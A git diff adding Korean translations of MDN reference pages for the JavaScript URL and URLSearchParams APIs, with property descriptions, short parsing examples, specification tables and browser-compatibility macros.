프래그먼트에는 퍼센트 디코딩을 적용하지 않습니다. URL이 프래그먼트 식별자를 포함하지 않은 경우 빈 문자열을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const string = url.hash
+url.hash = newHash
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제');
+console.log(url.hash); // Logs: '#예제'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}{{Spec2('URL')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.hash")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/host/index.html b/files/ko/web/api/url/host/index.html new file mode 100644 index 0000000000..b29da1bd73 --- /dev/null +++ b/files/ko/web/api/url/host/index.html @@ -0,0 +1,67 @@ +--- +title: URL.host +slug: Web/API/URL/host +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/host +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 host 속성은 URL의 호스트, 즉 {{domxref("URL.hostname", "hostname")}}와 함께, {{glossary("port", "포트")}}가 존재하는 경우 ':'과 그 뒤의 {{domxref("URL.port", "port")}}를 포함하는 {{domxref("USVString")}} 문자열입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const host = url.host
+url.host = newHost
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
let url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+
+url = new URL('https://developer.mozilla.org:443/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+url = new URL('https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org:4097"
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-host', 'URL.host')}}{{Spec2('URL')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.host")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/hostname/index.html b/files/ko/web/api/url/hostname/index.html new file mode 100644 index 0000000000..c6238452e0 --- /dev/null +++ b/files/ko/web/api/url/hostname/index.html @@ -0,0 +1,59 @@ +--- +title: URL.hostname +slug: Web/API/URL/hostname +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/hostname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 hostname 속성은 URL의 {{glossary("domain name", "도메인 이름")}}을 담은 {{domxref("USVString")}}을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const domain = url.hostname
+url.hostname = domain
+ +

+ +

{{domxref("USVString")}},

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/hostname');
+console.log(url.hostname); // Logs: 'developer.mozilla.org'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hostname', 'URL.hostname')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.hostname")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/href/index.html b/files/ko/web/api/url/href/index.html new file mode 100644 index 0000000000..87e33d3353 --- /dev/null +++ b/files/ko/web/api/url/href/index.html @@ -0,0 +1,59 @@ +--- +title: URL.href +slug: Web/API/URL/href +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/href +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 href 속성은 전체 URL을 담은 {{domxref("USVString")}}입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const urlString = url.href
+url.href = newUrlString
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href');
+console.log(url.href); // Logs: 'https://developer.mozilla.org/ko/docs/Web/API/URL/href'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-href', 'URL.href')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.href")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/index.html b/files/ko/web/api/url/index.html new file mode 100644 index 0000000000..ac29f47f05 --- /dev/null +++ b/files/ko/web/api/url/index.html @@ -0,0 +1,143 @@ +--- +title: URL +slug: Web/API/URL +tags: + - API + - Interface + - Overview + - Reference + - URI + - URL + - URL API + - Web +translation_of: Web/API/URL +--- +
{{APIRef("URL API")}}
+ +

URL 인터페이스는 {{glossary("URL")}}을 분석, 생성, 정규화, 인코딩 할 때 사용하며, URL의 각 구성요소를 쉽게 읽고 쓸 수 있는 속성을 제공합니다. URL 객체 생성은 생성자에 전체 URL 문자열, 또는 상대 URL과 기준 URL을 생성자에 전달해 진행합니다. 이렇게 생성한 URL 객체를 사용해 URL을 쉽게 바꾸거나 읽을 수 있습니다.

+ +

브라우저가 아직 {{domxref("URL.URL", "URL()")}} 생성자를 지원하지 않을 땐 {{domxref("Window")}} 인터페이스의 Window.URL 속성으로 URL 객체에 접근할 수 있습니다. 개발에 사용하기 전, 프로젝트의 지원 대상 브라우저를 확인하고, 이런 절차를 추가해야 하는지 결정하세요.

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("URL.URL", "new URL()")}}
+
주어진 절대 URL, 또는 상대 URL과 기준 URL 문자열을 사용해 생성한 URL 객체를 생성하고 반환합니다.
+
+ +

속성

+ +
+
{{domxref("URL.hash", "hash")}}
+
'#'과 URL의 프래그먼트 식별자를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.host", "host")}}
+
URL의 도메인(호스트 이름), ':', 포트를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.hostname", "hostname")}}
+
URL의 도메인을 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.href", "href")}}
+
전체 URL을 반환하는 문자열화 속성입니다.
+
{{domxref("URL.origin", "origin")}} {{readonlyInline}}
+
URL의 {{glossary("origin", "출처")}}, 즉 스킴, 도메인, 포트를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.password", "password")}}
+
도메인 이름 이전에 지정된 비밀번호를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.pathname", "pathname")}}
+
'/'와 URL의 경로를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.port", "port")}}
+
URL의 포트 번호를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.protocol", "protocol")}}
+
URL의 {{glossary("protocol", "프로토콜")}} 스킴을 담은 {{domxref("USVString")}}입니다. 마지막 ':'을 포함합니다.
+
{{domxref("URL.search", "search")}}
+
URL의 매개변수 문자열을 나타내는 {{domxref("USVString")}}입니다. 어떤 매개변수라도 존재하는 경우 '?' 문자로 시작해, 모든 매개변수를 포함합니다.
+
{{domxref("URL.searchParams", "searchParams")}} {{readonlyInline}}
+
search 속성의 매개변수 각각에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체입니다.
+
{{domxref("URL.username","username")}}
+
도메인 이름 이전에 지정된 사용자 이름을 담은 {{domxref("USVString")}}입니다.
+
+ +

메서드

+ +
+
{{domxref("URL.toString", "toString()")}}
+
전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일하나, toString()으로는 URL을 편집할 수 없습니다.
+
{{domxref("URL.toJSON", "toJSON()")}}
+
전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일한 문자열을 반환합니다.
+
+ +

정적 메서드

+ +
+
{{domxref("URL.createObjectURL", "createObjectURL()")}}
+
고유한 블롭 URL, 즉 blob: 을 스킴으로 하고, 브라우저 내의 객체를 가리키는 고유한 불투명 문자열을 그 뒤에 붙인 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}
+
이전에 {{domxref("URL.createObjectURL()")}}로 생성한 객체 URL을 취소합니다.
+
+ +

사용 일람

+ +

생성자는 url 매개변수를 받으며, URL이 상대 URL인 경우 선택적으로 base 매개변수를 지정해 기준으로 사용할 수 있습니다.

+ +
const url = new URL('../cats', 'http://www.example.com/dogs');
+console.log(url.hostname); // "www.example.com"
+console.log(url.pathname); // "/cats"
+
+ +

URL 속성을 사용해 URL을 만들 수 있습니다.

+ +
url.hash = 'tabby';
+console.log(url.href); // "http://www.example.com/cats#tabby"
+
+ +

URL은 {{RFC(3986)}}의 규칙을 따라 인코딩 됩니다.

+ +
url.pathname = 'démonstration.html';
+console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
+
+ +

{{domxref("URLSearchParams")}} 인터페이스를 사용해 URL 쿼리 문자열을 생성하거나 조작할 수 있습니다.

+ +

현재 URL의 검색 매개변수를 가져오려면 다음과 같은 코드를 사용하세요.

+ +
// https://some.site/?id=123
+const parsedUrl = new URL(window.location.href);
+console.log(parsedUrl.searchParams.get("id")); // "123"
+ +

{{domxref("URL.toString", "toString()")}} 메서드는 단순히 {{domxref("URL.href", "href")}} 속성의 값을 반환하는 것이므로, URL 정규화와 인코딩에 생성자를 직접 사용할 수 있습니다.

+ +
const response = await fetch(new URL('http://www.example.com/démonstration.html'));
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#creating-revoking', 'URL')}}{{Spec2('File API')}}Added the static methods URL.createObjectURL() and URL.revokeObjectURL().
{{SpecName('URL', '#api', 'API')}}{{Spec2('URL')}}Initial definition (implements URLUtils).
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/origin/index.html b/files/ko/web/api/url/origin/index.html new file mode 100644 index 0000000000..f3817e0285 --- /dev/null +++ b/files/ko/web/api/url/origin/index.html @@ -0,0 +1,61 @@ +--- +title: URL.origin +slug: Web/API/URL/origin +tags: + - API + - Property + - Read-only + - Reference + - URL + - URL API +translation_of: Web/API/URL/origin +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 origin 읽기 전용 속성은 표현 중인 URL의 출처를 유니코드로 직렬화한 {{domxref("USVString")}}을 반환합니다. 정확한 구조는 URL의 유형에 따라 다릅니다.

+ + + +

{{AvailableInWorkers}}

+ +

구문

+ +
const originString = url.origin
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("blob:https://mozilla.org:443/")
+console.log(url.origin); // Logs 'https://mozilla.org'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-origin', 'URL.origin')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.origin")}}

diff --git a/files/ko/web/api/url/password/index.html b/files/ko/web/api/url/password/index.html new file mode 100644 index 0000000000..f944abf326 --- /dev/null +++ b/files/ko/web/api/url/password/index.html @@ -0,0 +1,61 @@ +--- +title: URL.password +slug: Web/API/URL/password +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 password 속성은 도메인 이름 이전의 비밀번호를 포함한 {{domxref("USVString")}}을 반환합니다.

+ +

{{domxref("URL.username", "username")}} 설정 전에 password를 먼저 지정하려 시도하면 조용히 실패합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const passwordString = url.password
+url.password = newPassword
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+console.log(url.password) // Logs "flabada"
+ +

구문

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.password")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/pathname/index.html b/files/ko/web/api/url/pathname/index.html new file mode 100644 index 0000000000..9f097eda83 --- /dev/null +++ b/files/ko/web/api/url/pathname/index.html @@ -0,0 +1,60 @@ +--- +title: URL.pathname +slug: Web/API/URL/pathname +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/pathname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 pathname 속성은 URL의 경로와 그 앞의 /로 이루어진 {{domxref("USVString")}}을 반환합니다. 경로가 없는 경우 빈 문자열을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const path = url.pathname
+url.pathname = newPath
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
var url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value');
+var result = url.pathname; // Returns:"/ko/docs/Web/API/URL/pathname"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-pathname', 'URL.pathname')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.pathname")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/port/index.html b/files/ko/web/api/url/port/index.html new file mode 100644 index 0000000000..a461130387 --- /dev/null +++ b/files/ko/web/api/url/port/index.html @@ -0,0 +1,61 @@ +--- +title: URL.port +slug: Web/API/URL/port +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/port +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 port 속성은 URL의 포트 숫자를 담은 {{domxref("USVString")}}입니다. URL이 명시적인 포트 번호를 포함하고 있지 않으면 빈 문자열('')입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const portNumber = url.port
+url.port = newPortNumber
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://mydomain.com:80/svn/Repos/');
+console.log(url.port); // Logs '80'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-port', 'URL.port')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.port")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/protocol/index.html b/files/ko/web/api/url/protocol/index.html new file mode 100644 index 0000000000..2d96b9eeec --- /dev/null +++ b/files/ko/web/api/url/protocol/index.html @@ -0,0 +1,61 @@ +--- +title: URL.protocol +slug: Web/API/URL/protocol +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/protocol +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 protocol 속성은 URL의 프로토콜 스킴과 마지막 ':'을 포함한 {{domxref("USVString")}}입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const protocol = url.protocol
+url.protocol = newProtocol
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+console.log(url.protocol); // Logs "https:"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-protocol', 'protocol')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.protocol")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/revokeobjecturl/index.html b/files/ko/web/api/url/revokeobjecturl/index.html new file mode 100644 index 0000000000..7faa5e8bcc --- /dev/null +++ b/files/ko/web/api/url/revokeobjecturl/index.html @@ -0,0 +1,68 @@ +--- +title: URL.revokeObjectURL() +slug: Web/API/URL/revokeObjectURL +tags: + - API + - Method + - URL + - URL API +translation_of: Web/API/URL/revokeObjectURL +--- +
{{ApiRef("URL API")}}
+ +

URL.revokeObjectURL() 정적 메서드는 이전에 {{domxref("URL.createObjectURL()") }}을 통해 생성한 객체 URL을 해제합니다. 객체 URL을 더는 쓸 일이 없을 때 사용해서, 브라우저가 이제 해당 객체를 메모리에 들고 있지 않아도 된다고 알려주세요.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 이 기능은 {{domxref("Blob")}} 인터페이스의 생명 주기 문제와 잠재적인 메모리 누수 가능성으로 인해 Service Worker에서 사용할 수 없습니다.

+
+ +

구문

+ +
URL.revokeObjectURL(objectURL)
+
+ +

매개변수

+ +
+
objectURL
+
{{domxref("URL.createObjectURL", "createObjectURL()") }}을 통해 생성한 객체 URL을 나타내는 {{domxref("DOMString")}}.
+
+ + + +

예제

+ +

객체 URL을 사용하여 이미지 표시하기를 보세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.revokeObjectURL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/search/index.html b/files/ko/web/api/url/search/index.html new file mode 100644 index 0000000000..a67b8f44b4 --- /dev/null +++ b/files/ko/web/api/url/search/index.html @@ -0,0 +1,63 @@ +--- +title: URL.search +slug: Web/API/URL/search +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/search +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 search 속성은 맨 앞의 '?'와 함께 URL의 쿼리 문자열, 즉 검색 매개변수를 나타내는 {{domxref("USVString")}}입니다.

+ +

신형 브라우저에서는 {{domxref("URL.searchParams")}} 속성을 통해 간편한 쿼리 문자열 분석을 지원합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const searchParams = object.search
+url.search = newSearchParams
+
+ +

+ +

{{domxref("USVString")}}.

+ +

Examples

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123');
+console.log(url.search); // Logs "?q=123"
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-search', 'URL.search')}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.URL.search")}}

+ +

See also

+ + diff --git a/files/ko/web/api/url/searchparams/index.html b/files/ko/web/api/url/searchparams/index.html new file mode 100644 index 0000000000..b80d80c4a6 --- /dev/null +++ b/files/ko/web/api/url/searchparams/index.html @@ -0,0 +1,56 @@ +--- +title: URL.searchParams +slug: Web/API/URL/searchParams +tags: + - API + - Property + - Read-only + - Reference + - URL + - URLSearchParams +translation_of: Web/API/URL/searchParams +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 searchParams 읽기 전용 속성은 URL 내의 {{httpmethod("GET")}} 디코딩 된 쿼리 매개변수에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체를 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const urlSearchParams = url.searchParams
+ +

+ +

{{domxref("URLSearchParams")}} 객체.

+ +

예제

+ +

페이지의 URL을 https://example.com/?name=Jonathan%20Smith&age=18로 가정했을 때, nameage 매개변수는 다음과 같이 가져올 수 있습니다.

+ +
let params = (new URL(document.location)).searchParams;
+let name = params.get('name'); // is the string "Jonathan Smith".
+let age = parseInt(params.get('age')); // is the number 18
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.searchParams")}}

diff --git a/files/ko/web/api/url/tojson/index.html b/files/ko/web/api/url/tojson/index.html new file mode 100644 index 0000000000..f5fbf7a972 --- /dev/null +++ b/files/ko/web/api/url/tojson/index.html @@ -0,0 +1,52 @@ +--- +title: URL.toJSON() +slug: Web/API/URL/toJSON +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/toJSON +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 toJSON() 메서드는 URL을 직렬화한 {{domxref("USVString")}}을 반환합니다. 그러나, 사실상 {{domxref("URL.toString", "toString()")}}과 같습니다..

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const href = url.toJSON()
+ +

반환 값

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toJSON(); // should return the URL as a string
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.toJSON")}}

diff --git a/files/ko/web/api/url/tostring/index.html b/files/ko/web/api/url/tostring/index.html new file mode 100644 index 0000000000..6a24393f4f --- /dev/null +++ b/files/ko/web/api/url/tostring/index.html @@ -0,0 +1,59 @@ +--- +title: URL.toString() +slug: Web/API/URL/toString +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/toString +--- +
{{ApiRef("URL API")}}
+ +

URL.toString() 문자열화 메서드는 전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. 사실상 읽기 전용 {{domxref("URL.href")}}인 셈입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
href = url.toString()
+ +

반환 값

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("https://developer.mozilla.org/ko/docs/Web/API/URL/toString");
+url.toString(); // should return the URL as a string
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.toString")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/url/index.html b/files/ko/web/api/url/url/index.html new file mode 100644 index 0000000000..affcb467af --- /dev/null +++ b/files/ko/web/api/url/url/index.html @@ -0,0 +1,107 @@ +--- +title: URL() +slug: Web/API/URL/URL +tags: + - API + - Constructor + - Reference + - URL + - URL API +translation_of: Web/API/URL/URL +--- +
{{APIRef("URL API")}}
+ +

URL() 생성자는 매개변수로 제공한 URL을 나타내는 새로운 {{domxref("URL")}} 객체를 반환합니다.

+ +

주어진 기준 URL이나 결과 URL이 유효하지 않은 URL일 경우, JavaScript {{jsxref("TypeError")}} 예외가 발생합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const url = new URL(url [, base])
+
+ +

매개변수

+ +
+
url
+
절대 또는 상대 URL을 나타내는 {{domxref("USVString")}}. url이 상대 URL인 경우 base 매개변수를 기준 URL로 사용하므로 base도 필수로 지정해야 합니다. 절대 URL인 경우 base는 무시합니다.
+
base {{optional_inline}}
+
url 매개변수가 상대 URL인 경우 사용할 기준 URL을 나타내는 {{domxref("USVString")}}. 기본값은 ''입니다.
+
+ +
+

참고: base에는 기존에 존재하는 {{domxref("URL")}} 객체도 사용할 수 있습니다. 그러면 {{domxref("URI.href", "href")}} 속성을 사용해 스스로 문자열화합니다.

+
+ +

예외

+ + + + + + + + + + + + + + +
예외설명
{{jsxref("TypeError")}}절대 URL인 경우 url, 상대 URL인 경우 base + url이 유효하지 않은 URL인 경우.
+ +

예제

+ +
// Base urls
+let m = 'https://developer.mozilla.org';
+let a = new URL("/", m);                                // => 'https://developer.mozilla.org/'
+let b = new URL(m);                                     // => 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // => 'https://developer.mozilla.org/en-US/docs'
+let d = new URL('/en-US/docs', b);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
+        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+        new URL('http://www.example.com', );           // => 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // => 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // => 'https://foo.com' (see relative URLs)
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#constructors', 'URL.URL()')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.URL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/username/index.html b/files/ko/web/api/url/username/index.html new file mode 100644 index 0000000000..c102ea398c --- /dev/null +++ b/files/ko/web/api/url/username/index.html @@ -0,0 +1,61 @@ +--- +title: URL.username +slug: Web/API/URL/username +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/username +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 username 속성은 도메인 이전의 사용자 이름을 담은 {{domxref("USVString")}}을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const usernameString = url.username
+url.username = newUsername
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username');
+console.log(url.username) // Logs "anonymous"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-username', 'username')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.username")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/index.html new file mode 100644 index 0000000000..5491ad0b6f --- /dev/null +++ b/files/ko/web/api/urlsearchparams/index.html @@ -0,0 +1,136 @@ +--- +title: URLSearchParams +slug: Web/API/URLSearchParams +tags: + - API + - Interface + - Reference + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams +--- +
{{ApiRef("URL API")}}
+ +

URLSearchParams 인터페이스는 URL의 쿼리 문자열에 대해 작업할 수 있는 유틸리티 메서드를 정의합니다.

+ +

URLSearchParams를 구현하는 객체는 {{jsxref("Statements/for...of", "for...of")}} 반복문에 바로 사용할 수 있습니다.

+ +
for (const [key, value] of mySearchParams) {}
+for (const [key, value] of mySearchParams.entries()) {}
+
+ +

{{availableinworkers}}

+ +

생성자

+ +
+
{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
+
 URLSearchParams 객체 인스턴스를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("URLSearchParams.append()")}}
+
특정 키/값을 새로운 검색 매개변수로 추가합니다.
+
{{domxref("URLSearchParams.delete()")}}
+
특정 매개변수를 찾아 키와 값 모두 지웁니다.
+
{{domxref("URLSearchParams.entries()")}}
+
객체의 모든 키/값 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","순회기")}}를 반환합니다.
+
{{domxref("URLSearchParams.forEach()")}}
+
객체의 모든 값을 순회하며 지정한 콜백을 호출합니다.
+
{{domxref("URLSearchParams.get()")}}
+
주어진 검색 매개변수에 연결된 첫 번째 값을 반환합니다.
+
{{domxref("URLSearchParams.getAll()")}}
+
주어진 검색 매개변수에 연결된 모든 값을 반환합니다.
+
{{domxref("URLSearchParams.has()")}}
+
주어진 검색 매개변수의 존재 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.
+
{{domxref("URLSearchParams.keys()")}}
+
객체의 모든 키를 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.
+
{{domxref("URLSearchParams.set()")}}
+
주어진 검색 매개변수에 연결된 값을 설정합니다. 연결된 값이 다수라면 나머지는 제거합니다.
+
{{domxref("URLSearchParams.sort()")}}
+
모든 키/값 쌍을 키로 정렬합니다.
+
{{domxref("URLSearchParams.toString()")}}
+
URL에 쓰기 적합한 형태의 쿼리 문자열을 반환합니다.
+
{{domxref("URLSearchParams.values()")}}
+
객체의 모든 값을 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.
+
+ +

예제

+ +
var paramsString = "q=URLUtils.searchParams&topic=api";
+var searchParams = new URLSearchParams(paramsString);
+
+//Iterate the search parameters.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+
+ +

주의점

+ +

URLSearchParams 생성자는 전체 URL을 분석하지 않습니다. 그러나, 맨 앞의 ?는 제거합니다.

+ +
var paramsString1 = "http://example.com/search?query=%40";
+var searchParams1 = new URLSearchParams(paramsString1);
+
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
+
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+
+var paramsString2 = "?query=value";
+var searchParams2 = new URLSearchParams(paramsString2);
+searchParams2.has("query"); // true
+
+var url = new URL("http://example.com/search?query=%40");
+var searchParams3 = new URLSearchParams(url.search);
+searchParams3.has("query") // true
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

